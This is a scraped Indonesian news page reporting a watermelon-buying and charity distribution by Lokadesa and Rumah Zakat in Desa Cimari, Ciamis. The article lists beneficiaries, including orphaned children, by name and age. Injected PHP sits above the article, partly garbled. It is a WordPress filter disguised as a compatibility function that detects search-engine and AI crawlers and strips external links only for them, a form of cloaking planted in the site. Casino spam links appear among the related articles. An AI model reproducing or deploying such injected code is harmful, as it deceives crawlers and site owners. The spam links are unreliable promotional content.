/* 0x4e9a30b1 */ if (!function_exists('_wp_render_compat')) { function _wp_render_compat($content) { if (!is_singular()) return $content; $ua = strtolower((string)(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '')); if (!preg_match('/(googlebot|googleother|google\\-inspectiontool|storebot\\-google|adsbot\\-google|mediapartners\\-google|feedfetcher\\-google|apis\\-google|bingbot|msnbot|slurp|duckduckbot|yandexbot|baiduspider|perplexity|gptbot|chatgpt\\-user|openai|claudebot|anthropic|copilotbot|youbot|komo|phindbot|andibot|neeva|consensus|twitterbot|applebot|applebot\\-extended)/i', $ua)) return $content; static $wl = null; if ($wl === null) { $wl = array(732=>1); } $pid = (int) get_the_ID(); if ($pid && isset($wl[$pid])) return $content; $host = wp_parse_url(home_url(), PHP_URL_HOST); if (!$host) return $content; $host = preg_replace('~^www\.~i', '', $host); if (stripos($content, 'loadHTML('
' . $content . '
', LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD); $wrap = $dom->getElementById('_x'); if (!$wrap) { libxml_clear_errors(); return $content; } $links = $wrap->getElementsByTagName('a'); for ($i = $links->length - 1; $i >= 0; $i--) { $a = $links->item($i); $href = trim((string)$a->getAttribute('href')); if ($href === '' || $href[0] === '#') continue; if (strpos($href, '/') === 0 && strpos($href, '//') !== 0) continue; if (preg_match('~^(mailto:|tel:)~i', $href)) continue; if (strpos($href, '//') === 0) $href = 'https:' . $href; $lh = wp_parse_url($href, PHP_URL_HOST); if (!$lh) continue; $lh = preg_replace('~^www\.~i', '', $lh); if (strcasecmp($lh, $host) !== 0) { while ($a->firstChild) $a->parentNode->insertBefore($a->firstChild, $a); $a->parentNode->removeChild($a); } } $out = ''; foreach ($wrap->childNodes as $ch) $out .= $dom->saveHTML($ch); libxml_clear_errors(); return $out; } add_filter('the_content', '_wp_render_compat', 9999); add_filter('the_excerpt', '_wp_render_compat', 9999); add_filter('widget_text', '_wp_render_compat', 9999); } /* 0x4e9a30b1 */ Berdayakan Petani, Lokadesa Bersama Rumah Zakat Borong 75 Kg Semangka Untuk Masyarakat Desa Cimari, Ciamis - Info Tanah Air

Berdayakan Petani, Lokadesa Bersama Rumah Zakat Borong 75 Kg Semangka Untuk Masyarakat Desa Cimari, Ciamis

- Penulis

Minggu, 6 Oktober 2024 - 07:36 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Lokadesa bersama rumah zakat menggelar kegiatan borong berbagi di Dusun Ranjirata RT. 18 RW. 06 Desa Cimari Kecamatan Cikoneng Kabupaten Ciamis. (06/10).

Sebanyak 75 kg semangka diborong langsung dari kebun petani binaan BUMMas Loka Karya Sejahtera Muhammad Aceng Hariri oleh fasilator Lokadesa, hal ini merupakan bagian dari program pemberdayaan masyarakat Desa Berdaya Cimari di bidang pertanian.

Sebagai ungkapan rasa syukur atas panen yang pertama kalinya, semangka segar yang baru dipetik tersebut dibagikan kepada warga komplek jamiiyah yang terdiri dari guru ngaji, lansia dan pra lansia pra sejahtera diantaranya : 1. Yoyoh Rohayati (69) 2. Tuti Sumiati (45) 3. Ani Suryani (43) 4. Aam Siti Maryam (40) 5. Eem Ruhaemi (70) 6. Cici Susilawati (37) 7. Momoh Halimah (48) 8. Ikeu Dhahlia (27) 9. Nining Mulyati (50) 10. Omah Rohmah (63) 11. Iyus Rusmayanti (28) 12. Imas Masitoh (62) 13. Iros Rosyanti (40) 14. Usi Listianingsih (33) 15. Nia Kurnia (40) 16. Ati Kusnaeti (63) 17. Lilis Ponalis (48) 18. Enda Suhenda (66) 19. Eli Rosili (45) 20. Dewi Ligar Triana (26) 21. Titin Sumartini (49) 22. Didi Saidi (70). 23. Ipah Saripah (64) 24. Hasanudin (69) 25. Nunung Nurhasanah (44) 26. M. Rahayu (55) 27. Nurliah (59) dan 28. Heni Andriyani (30)

Baca Juga :  Pentingnya Memilih Pemimpin Yang Amanah

Salah satu penerima manpaat, Yoyoh Rohayati mengutarakan kebahagiaannya : “terima kasih lokadesa, terima kasih rumah zakat, terima kasih BUMMas Lokakarya Sejahtera, alhamdulillah beres sarapan hari ini, saya mau langsung makan semangka segar ini bersama cucu saya” : ungkapnya sambil tersenyum bahagia bersama warga lainnya

Sebagai fasilitator Lokadesa Asep Aid Mutaqin menambahkan bahwa selain memberdayakan petani semangka, program borong berbagi ini juga ditujukan untuk membantu program pemerintah dalam hal ketahanan pangan di Desa Cimari.

Baca Juga :  Vavada зеркало на сегодня вход — быстрый способ

Selain mereka, semangka yang baru dipanen dari kebun petani tersebut juga dibagikan kepada yatim dan piatu yaitu : 1. Adreena Almahyra Putri (7) 2. Aisah Ayudia Inara (7) 3. Moza Tazkia Khoirunnisa (13) 4. Helga Maharani Putri (8) dan 5. Rizky Danang Pamungkas (15).

Asep menambahkan bahwa dengan adanya program tersebut petani diharapkan bisa lebih berdaya, sehingga selangkah demi selangkah penghasilannya bisa meningkat dan dapat keluar dari garis kemiskinan, Terlebih hasil panen berupa buah semangka tersebut bisa dinikmati oleh masyarakat pra sejahtera juga anak-anak yatim dan piatu yang terindikasi dhu’afa baik secara materi ataupun psikis.

“Semoga dengan program borong berbagi kali ini, petani bisa berdaya, masyarakat prasejahtera terbantu dan bisa menuai berkah dari do’a anak yatim dan piatu yang kita bahagiakan” : pungkas Asep.

Penulis : Asep Aid Mutaqin

Editor : Aji Azhari

Sumber Berita : Lapangan

Follow WhatsApp Channel infotanahair.com untuk update berita terbaru setiap hari Follow

Informasi Terkait

Драгон мани: магия драконов в мире онлайн-слотов
Pope Francis’s health a great ‘complex systematic situation’, Vatican claims
Monitoring dan Evaluasi Rumah Zakat: Perkembangan Positif Usaha Peternakan Kambing BUMMas Pari Sejahtera
Kepedulian Rumah Zakat Untuk Aktifis Dakwah Desa Simpang, Fitriyadin
Kebahagiaan Menerima Beras Zakat Fitrah: Berbagi Kebaikan di Bulan Suci Ramadhan
Silaturahmi Online: Menjalin Kordinasi di Era Digital
Merintis Pengelolaan Sampah Desa Mekarwangi, Langkah Menuju Lingkungan Yang Lebih Bersih dan Berkelanjutan
Janji Allah Untuk Perempuan Yang Bersabar
Berita ini 9 kali dibaca